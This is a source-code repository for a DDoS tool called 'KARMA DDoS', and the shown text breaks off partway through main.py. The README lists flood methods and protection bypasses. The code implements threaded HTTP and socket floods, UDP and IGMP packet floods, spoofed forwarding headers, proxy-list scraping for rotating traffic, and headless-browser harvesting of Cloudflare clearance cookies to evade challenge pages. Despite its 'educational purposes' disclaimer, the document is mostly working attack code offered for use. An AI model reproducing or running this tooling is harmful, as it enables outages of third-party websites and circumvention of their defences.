├── LICENSE
├── README.md
├── main.py
├── requirements.txt
├── resources
└── ua.txt
└── setup.py
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Hyuk
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # KARMA DDoS
4 |
5 |
6 |
7 |
8 |
9 |
10 | DDoS Script (DDoS Panel) with Multiple Bypass
( Cloudflare UAM,CAPTCHA,BFM,NOSEC / DDoS Guard / Google Shield / V Shield / Amazon / etc.. )
11 | Don't attack any websites you don't own it
12 | This was created for educational purposes
13 | All responsibilities and disadvantages of using this program is for the user.
14 |
15 |
16 | ## Language
17 |
18 |
19 |
20 |
21 | ## Menu
22 | 
23 |
24 | ## Methods
25 |
26 | ```sh
27 | [Layer 7]
28 | - cfb | Bypass CF attack
29 | - pxcfb | Bypass CF attack with proxy
30 | - cfreq | Bypass CF UAM, CAPTCHA, BFM, etc,, with request
31 | - cfsoc | Bypass CF UAM, CAPTCHA, BFM, etc,, with socket
32 | - pxsky | Bypass Google Project Shield, Vshield, DDoS Guard Free, CF NoSec With Proxy
33 | - sky | Sky method without proxy
34 | - http2 | HTTP 2.0 Request Attack
35 | = pxhttp2 | HTTP 2.0 Request Attack With Proxy
36 | - spoof | Spoof Attasck
37 | - pxspoof | Spoof Attack with Proxy
38 | - get | Get Request Attack
39 | - post | Post Request Attack
40 | - head | Head Request Attack
41 | - soc | Socket Attack
42 | - pxraw | Proxy Request Attack
43 | - pxsoc | Proxy Socket Attack
44 |
45 | [Layer 4]
46 | -udp | UDP Attack
47 | -tcp | TCP Attack
48 |
49 | [Tools]
50 | - Dns | Classic DNS Lookup
51 | - Geoip | Geo IP Address Lookup
52 | - Subnet | Subnet IP Address Lookup
53 | ```
54 |
55 | ## Videos
56 | [](https://www.youtube.com/watch?v=MPKdfhPeLeE)
57 |
58 | ## Usage on Linux
59 | ```sh
60 | You must use Python 3.9 or higher
61 |
62 | git clone https://github.com/HyukIsBack/KARMA-DDoS.git
63 |
64 | Install Python3 modules
65 | - pip3 install -r requirements.txt or pip install -r requirements.txt
66 | Install Chrome (or update it lastest version)
67 | - wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
68 | - apt-get install ./google-chrome-stable_current_amd64.deb
69 |
70 | OR
71 | - python3 setup.py
72 |
73 | ```
74 |
75 | ## Example
76 | ```sh
77 | Use DDoS Panel : python3 main.py
78 | Use command line : python3 main.py
79 | └──────────> python3 main.py cfb https://example.com 100 30
80 | ```
81 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from os import system, name
3 | import os, threading, requests, sys, cloudscraper, datetime, time, socket, socks, ssl, random, httpx
4 | from urllib.parse import urlparse
5 | from requests.cookies import RequestsCookieJar
6 | import undetected_chromedriver as webdriver
7 | from sys import stdout
8 | from colorama import Fore, init
9 |
10 | def countdown(t):
11 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
12 | while True:
13 | if (until - datetime.datetime.now()).total_seconds() > 0:
14 | stdout.flush()
15 | stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack status => " + str((until - datetime.datetime.now()).total_seconds()) + " sec left ")
16 | else:
17 | stdout.flush()
18 | stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack Done ! \n")
19 | return
20 |
21 | #region get
22 | def get_target(url):
23 | url = url.rstrip()
24 | target = {}
25 | target['uri'] = urlparse(url).path
26 | if target['uri'] == "":
27 | target['uri'] = "/"
28 | target['host'] = urlparse(url).netloc
29 | target['scheme'] = urlparse(url).scheme
30 | if ":" in urlparse(url).netloc:
31 | target['port'] = urlparse(url).netloc.split(":")[1]
32 | else:
33 | target['port'] = "443" if urlparse(url).scheme == "https" else "80"
34 | pass
35 | return target
36 |
37 | def get_proxylist(type):
38 | if type == "SOCKS5":
39 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&timeout=10000&country=all").text
40 | r += requests.get("https://www.proxy-list.download/api/v1/get?type=socks5").text
41 | open("./resources/socks5.txt", 'w').write(r)
42 | r = r.rstrip().split('\r\n')
43 | return r
44 | elif type == "HTTP":
45 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=10000&country=all").text
46 | r += requests.get("https://www.proxy-list.download/api/v1/get?type=http").text
47 | open("./resources/http.txt", 'w').write(r)
48 | r = r.rstrip().split('\r\n')
49 | return r
50 |
51 | def get_proxies():
52 | global proxies
53 | if not os.path.exists("./proxy.txt"):
54 | stdout.write(Fore.MAGENTA+" [*]"+Fore.WHITE+" You Need Proxy File ( ./proxy.txt )\n")
55 | return False
56 | proxies = open("./proxy.txt", 'r').read().split('\n')
57 | return True
58 |
59 | def get_cookie(url):
60 | global useragent, cookieJAR, cookie
61 | options = webdriver.ChromeOptions()
62 | arguments = [
63 | '--no-sandbox', '--disable-setuid-sandbox', '--disable-infobars', '--disable-logging', '--disable-login-animations',
64 | '--disable-notifications', '--disable-gpu', '--headless', '--lang=ko_KR', '--start-maxmized',
65 | '--user-agent=Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en'
66 | ]
67 | for argument in arguments:
68 | options.add_argument(argument)
69 | driver = webdriver.Chrome(options=options)
70 | driver.implicitly_wait(3)
71 | driver.get(url)
72 | for _ in range(60):
73 | cookies = driver.get_cookies()
74 | tryy = 0
75 | for i in cookies:
76 | if i['name'] == 'cf_clearance':
77 | cookieJAR = driver.get_cookies()[tryy]
78 | useragent = driver.execute_script("return navigator.userAgent")
79 | cookie = f"{cookieJAR['name']}={cookieJAR['value']}"
80 | driver.quit()
81 | return True
82 | else:
83 | tryy += 1
84 | pass
85 | time.sleep(1)
86 | driver.quit()
87 | return False
88 |
89 | def spoof(target):
90 | addr = [192, 168, 0, 1]
91 | d = '.'
92 | addr[0] = str(random.randrange(11, 197))
93 | addr[1] = str(random.randrange(0, 255))
94 | addr[2] = str(random.randrange(0, 255))
95 | addr[3] = str(random.randrange(2, 254))
96 | spoofip = addr[0] + d + addr[1] + d + addr[2] + d + addr[3]
97 | return (
98 | "X-Forwarded-Proto: Http\r\n"
99 | f"X-Forwarded-Host: {target['host']}, 1.1.1.1\r\n"
100 | f"Via: {spoofip}\r\n"
101 | f"Client-IP: {spoofip}\r\n"
102 | f'X-Forwarded-For: {spoofip}\r\n'
103 | f'Real-IP: {spoofip}\r\n'
104 | )
105 |
106 | ##############################################################################################
107 | def get_info_l7():
108 | stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"URL "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
109 | target = input()
110 | stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"THREAD "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
111 | thread = input()
112 | stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"TIME(s) "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
113 | t = input()
114 | return target, thread, t
115 |
116 | def get_info_l4():
117 | stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"IP "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
118 | target = input()
119 | stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"PORT "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
120 | port = input()
121 | stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"THREAD "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
122 | thread = input()
123 | stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"TIME(s) "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
124 | t = input()
125 | return target, port, thread, t
126 | ##############################################################################################
127 |
128 | #region layer4
129 | def runflooder(host, port, th, t):
130 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
131 | rand = random._urandom(4096)
132 | for _ in range(int(th)):
133 | try:
134 | thd = threading.Thread(target=flooder, args=(host, port, rand, until))
135 | thd.start()
136 | except:
137 | pass
138 |
139 | def flooder(host, port, rand, until_datetime):
140 | sock = socket.socket(socket.AF_INET, socket.IPPROTO_IGMP)
141 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
142 | try:
143 | sock.sendto(rand, (host, int(port)))
144 | except:
145 | sock.close()
146 | pass
147 |
148 |
149 | def runsender(host, port, th, t, payload):
150 | if payload == "":
151 | payload = random._urandom(60000)
152 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
153 | #payload = Payloads[method]
154 | for _ in range(int(th)):
155 | try:
156 | thd = threading.Thread(target=sender, args=(host, port, until, payload))
157 | thd.start()
158 | except:
159 | pass
160 |
161 | def sender(host, port, until_datetime, payload):
162 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
163 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
164 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
165 | try:
166 | sock.sendto(payload, (host, int(port)))
167 | except:
168 | sock.close()
169 | pass
170 |
171 | #endregion
172 |
173 | #region METHOD
174 |
175 | #region HEAD
176 |
177 | def Launch(url, th, t, method): #testing
178 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
179 | for _ in range(int(th)):
180 | try:
181 | exec("threading.Thread(target=Attack"+method+", args=(url, until)).start()")
182 | except:
183 | pass
184 |
185 |
186 | def LaunchHEAD(url, th, t):
187 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
188 | for _ in range(int(th)):
189 | try:
190 | thd = threading.Thread(target=AttackHEAD, args=(url, until))
191 | thd.start()
192 | except:
193 | pass
194 |
195 | def AttackHEAD(url, until_datetime):
196 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
197 | try:
198 | requests.head(url)
199 | requests.head(url)
200 | except:
201 | pass
202 | #endregion
203 |
204 | #region POST
205 | def LaunchPOST(url, th, t):
206 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
207 | for _ in range(int(th)):
208 | try:
209 | thd = threading.Thread(target=AttackPOST, args=(url, until))
210 | thd.start()
211 | except:
212 | pass
213 |
214 | def AttackPOST(url, until_datetime):
215 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
216 | try:
217 | requests.post(url)
218 | requests.post(url)
219 | except:
220 | pass
221 | #endregion
222 |
223 | #region RAW
224 | def LaunchRAW(url, th, t):
225 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
226 | for _ in range(int(th)):
227 | try:
228 | thd = threading.Thread(target=AttackRAW, args=(url, until))
229 | thd.start()
230 | except:
231 | pass
232 |
233 | def AttackRAW(url, until_datetime):
234 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
235 | try:
236 | requests.get(url)
237 | requests.get(url)
238 | except:
239 | pass
240 | #endregion
241 |
242 | #region PXRAW
243 | def LaunchPXRAW(url, th, t):
244 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
245 | for _ in range(int(th)):
246 | try:
247 | thd = threading.Thread(target=AttackPXRAW, args=(url, until))
248 | thd.start()
249 | except:
250 | pass
251 |
252 | def AttackPXRAW(url, until_datetime):
253 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
254 | proxy = 'http://'+str(random.choice(list(proxies)))
255 | proxy = {
256 | 'http': proxy,
257 | 'https': proxy,
258 | }
259 | try:
260 | requests.get(url, proxies=proxy)
261 | requests.get(url, proxies=proxy)
262 | except:
263 | pass
264 | #endregion
265 |
266 | #region PXSOC
267 | def LaunchPXSOC(url, th, t):
268 | target = get_target(url)
269 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
270 | req = "GET " +target['uri'] + " HTTP/1.1\r\n"
271 | req += "Host: " + target['host'] + "\r\n"
272 | req += "User-Agent: " + random.choice(ua) + "\r\n"
273 | req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
274 | req += "Connection: Keep-Alive\r\n\r\n"
275 | for _ in range(int(th)):
276 | try:
277 | thd = threading.Thread(target=AttackPXSOC, args=(target, until, req))
278 | thd.start()
279 | except:
280 | pass
281 |
282 | def AttackPXSOC(target, until_datetime, req):
283 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
284 | try:
285 | proxy = random.choice(list(proxies)).split(":")
286 | if target['scheme'] == 'https':
287 | s = socks.socksocket()
288 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
289 | s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
290 | s.connect((str(target['host']), int(target['port'])))
291 | s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
292 | else:
293 | s = socks.socksocket()
294 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
295 | s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
296 | s.connect((str(target['host']), int(target['port'])))
297 | try:
298 | for _ in range(100):
299 | s.send(str.encode(req))
300 | except:
301 | s.close()
302 | except:
303 | return
304 | #endregion
305 |
306 | #region SOC
307 | def LaunchSOC(url, th, t):
308 | target = get_target(url)
309 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
310 | req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
311 | req += "User-Agent: " + random.choice(ua) + "\r\n"
312 | req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
313 | req += "Connection: Keep-Alive\r\n\r\n"
314 | for _ in range(int(th)):
315 | try:
316 | thd = threading.Thread(target=AttackSOC, args=(target, until, req))
317 | thd.start()
318 | except:
319 | pass
320 |
321 | def AttackSOC(target, until_datetime, req):
322 | if target['scheme'] == 'https':
323 | s = socks.socksocket()
324 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
325 | s.connect((str(target['host']), int(target['port'])))
326 | s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
327 | else:
328 | s = socks.socksocket()
329 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
330 | s.connect((str(target['host']), int(target['port'])))
331 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
332 | try:
333 | try:
334 | for _ in range(100):
335 | s.send(str.encode(req))
336 | except:
337 | s.close()
338 | except:
339 | pass
340 | #endregion
341 |
342 | def LaunchPPS(url, th, t):
343 | target = get_target(url)
344 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
345 | for _ in range(int(th)):
346 | try:
347 | thd = threading.Thread(target=AttackPPS, args=(target, until))
348 | thd.start()
349 | except:
350 | pass
351 |
352 | def AttackPPS(target, until_datetime): #
353 | if target['scheme'] == 'https':
354 | s = socks.socksocket()
355 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
356 | s.connect((str(target['host']), int(target['port'])))
357 | s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
358 | else:
359 | s = socks.socksocket()
360 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
361 | s.connect((str(target['host']), int(target['port'])))
362 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
363 | try:
364 | try:
365 | for _ in range(100):
366 | s.send(str.encode("GET / HTTP/1.1\r\n\r\n"))
367 | except:
368 | s.close()
369 | except:
370 | pass
371 |
372 | def LaunchNULL(url, th, t):
373 | target = get_target(url)
374 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
375 | req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
376 | req += "User-Agent: null\r\n"
377 | req += "Referrer: null\r\n"
378 | req += spoof(target) + "\r\n"
379 | for _ in range(int(th)):
380 | try:
381 | thd = threading.Thread(target=AttackNULL, args=(target, until, req))
382 | thd.start()
383 | except:
384 | pass
385 |
386 | def AttackNULL(target, until_datetime, req): #
387 | if target['scheme'] == 'https':
388 | s = socks.socksocket()
389 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
390 | s.connect((str(target['host']), int(target['port'])))
391 | s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
392 | else:
393 | s = socks.socksocket()
394 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
395 | s.connect((str(target['host']), int(target['port'])))
396 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
397 | try:
398 | try:
399 | for _ in range(100):
400 | s.send(str.encode(req))
401 | except:
402 | s.close()
403 | except:
404 | pass
405 |
406 | def LaunchSPOOF(url, th, t):
407 | target = get_target(url)
408 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
409 | req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
410 | req += "User-Agent: " + random.choice(ua) + "\r\n"
411 | req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
412 | req += spoof(target)
413 | req += "Connection: Keep-Alive\r\n\r\n"
414 | for _ in range(int(th)):
415 | try:
416 | thd = threading.Thread(target=AttackSPOOF, args=(target, until, req))
417 | thd.start()
418 | except:
419 | pass
420 |
421 | def AttackSPOOF(target, until_datetime, req): #
422 | if target['scheme'] == 'https':
423 | s = socks.socksocket()
424 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
425 | s.connect((str(target['host']), int(target['port'])))
426 | s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
427 | else:
428 | s = socks.socksocket()
429 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
430 | s.connect((str(target['host']), int(target['port'])))
431 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
432 | try:
433 | try:
434 | for _ in range(100):
435 | s.send(str.encode(req))
436 | except:
437 | s.close()
438 | except:
439 | pass
440 |
441 | def LaunchPXSPOOF(url, th, t, proxy):
442 | target = get_target(url)
443 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
444 | req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
445 | req += "User-Agent: " + random.choice(ua) + "\r\n"
446 | req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
447 | req += spoof(target)
448 | req += "Connection: Keep-Alive\r\n\r\n"
449 | for _ in range(int(th)):
450 | try:
451 | randomproxy = random.choice(proxy)
452 | thd = threading.Thread(target=AttackPXSPOOF, args=(target, until, req, randomproxy))
453 | thd.start()
454 | except:
455 | pass
456 |
457 | def AttackPXSPOOF(target, until_datetime, req, proxy): #
458 | proxy = proxy.split(":")
459 | print(proxy)
460 | try:
461 | if target['scheme'] == 'https':
462 | s = socks.socksocket()
463 | #s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
464 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
465 | s.connect((str(target['host']), int(target['port'])))
466 | s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
467 | else:
468 | s = socks.socksocket()
469 | #s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
470 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
471 | s.connect((str(target['host']), int(target['port'])))
472 | except:
473 | return
474 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
475 | try:
476 | try:
477 | for _ in range(100):
478 | s.send(str.encode(req))
479 | except:
480 | s.close()
481 | except:
482 | pass
483 |
484 | #region CFB
485 | def LaunchCFB(url, th, t):
486 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
487 | scraper = cloudscraper.create_scraper()
488 | for _ in range(int(th)):
489 | try:
490 | thd = threading.Thread(target=AttackCFB, args=(url, until, scraper))
491 | thd.start()
492 | except:
493 | pass
494 |
495 | def AttackCFB(url, until_datetime, scraper):
496 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
497 | try:
498 | scraper.get(url, timeout=15)
499 | scraper.get(url, timeout=15)
500 | except:
501 | pass
502 | #endregion
503 |
504 | #region PXCFB
505 | def LaunchPXCFB(url, th, t):
506 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
507 | scraper = cloudscraper.create_scraper()
508 | for _ in range(int(th)):
509 | try:
510 | thd = threading.Thread(target=AttackPXCFB, args=(url, until, scraper))
511 | thd.start()
512 | except:
513 | pass
514 |
515 | def AttackPXCFB(url, until_datetime, scraper):
516 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
517 | try:
518 | proxy = {
519 | 'http': 'http://'+str(random.choice(list(proxies))),
520 | 'https': 'http://'+str(random.choice(list(proxies))),
521 | }
522 | scraper.get(url, proxies=proxy)
523 | scraper.get(url, proxies=proxy)
524 | except:
525 | pass
526 | #endregion
527 |
528 | #region CFPRO
529 | def LaunchCFPRO(url, th, t):
530 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
531 | session = requests.Session()
532 | scraper = cloudscraper.create_scraper(sess=session)
533 | jar = RequestsCookieJar()
534 | jar.set(cookieJAR['name'], cookieJAR['value'])
535 | scraper.cookies = jar
536 | for _ in range(int(th)):
537 | try:
538 | thd = threading.Thread(target=AttackCFPRO, args=(url, until, scraper))
539 | thd.start()
540 | except:
541 | pass
542 |
543 | def AttackCFPRO(url, until_datetime, scraper):
544 | headers = {
545 | 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en',
546 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
547 | 'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
548 | 'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
549 | 'Cache-Control': 'no-cache',
550 | 'Pragma': 'no-cache',
551 | 'Connection': 'keep-alive',
552 | 'Upgrade-Insecure-Requests': '1',
553 | 'Sec-Fetch-Dest': 'document',
554 | 'Sec-Fetch-Mode': 'navigate',
555 | 'Sec-Fetch-Site': 'same-origin',
556 | 'Sec-Fetch-User': '?1',
557 | 'TE': 'trailers',
558 | }
559 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
560 | try:
561 | scraper.get(url=url, headers=headers, allow_redirects=False)
562 | scraper.get(url=url, headers=headers, allow_redirects=False)
563 | except:
564 | pass
565 | #endregion
566 |
567 | #region CFSOC
568 | def LaunchCFSOC(url, th, t):
569 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
570 | target = get_target(url)
571 | req = 'GET '+ target['uri'] +' HTTP/1.1\r\n'
572 | req += 'Host: ' + target['host'] + '\r\n'
573 | req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'
574 | req += 'Accept-Encoding: gzip, deflate, br\r\n'
575 | req += 'Accept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7\r\n'
576 | req += 'Cache-Control: max-age=0\r\n'
577 | req += 'Cookie: ' + cookie + '\r\n'
578 | req += f'sec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"\r\n'
579 | req += 'sec-ch-ua-mobile: ?0\r\n'
580 | req += 'sec-ch-ua-platform: "Windows"\r\n'
581 | req += 'sec-fetch-dest: empty\r\n'
582 | req += 'sec-fetch-mode: cors\r\n'
583 | req += 'sec-fetch-site: same-origin\r\n'
584 | req += 'Connection: Keep-Alive\r\n'
585 | req += 'User-Agent: ' + useragent + '\r\n\r\n\r\n'
586 | for _ in range(int(th)):
587 | try:
588 | thd = threading.Thread(target=AttackCFSOC,args=(until, target, req,))
589 | thd.start()
590 | except:
591 | pass
592 |
593 | def AttackCFSOC(until_datetime, target, req):
594 | if target['scheme'] == 'https':
595 | packet = socks.socksocket()
596 | packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
597 | packet.connect((str(target['host']), int(target['port'])))
598 | packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
599 | else:
600 | packet = socks.socksocket()
601 | packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
602 | packet.connect((str(target['host']), int(target['port'])))
603 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
604 | try:
605 | for _ in range(10):
606 | packet.send(str.encode(req))
607 | except:
608 | packet.close()
609 | pass
610 | #endregion
611 |
612 | #region testzone
613 | def attackSKY(url, timer, threads):
614 | for i in range(int(threads)):
615 | threading.Thread(target=LaunchSKY, args=(url, timer)).start()
616 |
617 | def LaunchSKY(url, timer):
618 | proxy = random.choice(proxies).strip().split(":")
619 | timelol = time.time() + int(timer)
620 | req = "GET / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
621 | req += "Cache-Control: no-cache\r\n"
622 | req += "User-Agent: " + random.choice(ua) + "\r\n"
623 | req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
624 | req += "Sec-Fetch-Site: same-origin\r\n"
625 | req += "Sec-GPC: 1\r\n"
626 | req += "Sec-Fetch-Mode: navigate\r\n"
627 | req += "Sec-Fetch-Dest: document\r\n"
628 | req += "Upgrade-Insecure-Requests: 1\r\n"
629 | req += "Connection: Keep-Alive\r\n\r\n"
630 | while time.time() < timelol:
631 | try:
632 | s = socks.socksocket()
633 | s.connect((str(urlparse(url).netloc), int(443)))
634 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
635 | ctx = ssl.SSLContext()
636 | s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
637 | s.send(str.encode(req))
638 | try:
639 | for _ in range(100):
640 | s.send(str.encode(req))
641 | s.send(str.encode(req))
642 | except:
643 | s.close()
644 | except:
645 | s.close()
646 |
647 | def attackSTELLAR(url, timer, threads):
648 | for i in range(int(threads)):
649 | threading.Thread(target=LaunchSTELLAR, args=(url, timer)).start()
650 |
651 | def LaunchSTELLAR(url, timer):
652 | timelol = time.time() + int(timer)
653 | req = "GET / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
654 | req += "Cache-Control: no-cache\r\n"
655 | req += "User-Agent: " + random.choice(ua) + "\r\n"
656 | req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
657 | req += "Sec-Fetch-Site: same-origin\r\n"
658 | req += "Sec-GPC: 1\r\n"
659 | req += "Sec-Fetch-Mode: navigate\r\n"
660 | req += "Sec-Fetch-Dest: document\r\n"
661 | req += "Upgrade-Insecure-Requests: 1\r\n"
662 | req += "Connection: Keep-Alive\r\n\r\n"
663 | while time.time() < timelol:
664 | try:
665 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
666 | s.connect((str(urlparse(url).netloc), int(443)))
667 | ctx = ssl.create_default_context()
668 | s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
669 | s.send(str.encode(req))
670 | try:
671 | for _ in range(100):
672 | s.send(str.encode(req))
673 | s.send(str.encode(req))
674 | except:
675 | s.close()
676 | except:
677 | s.close()
678 | #endregion
679 |
680 | def LaunchHTTP2(url, th, t):
681 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
682 | for _ in range(int(th)):
683 | threading.Thread(target=AttackHTTP2, args=(url, until)).start()
684 |
685 | def AttackHTTP2(url, until_datetime):
686 | headers = {
687 | 'User-Agent': random.choice(ua),
688 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
689 | 'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
690 | 'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
691 | 'Cache-Control': 'no-cache',
692 | 'Pragma': 'no-cache',
693 | 'Connection': 'keep-alive',
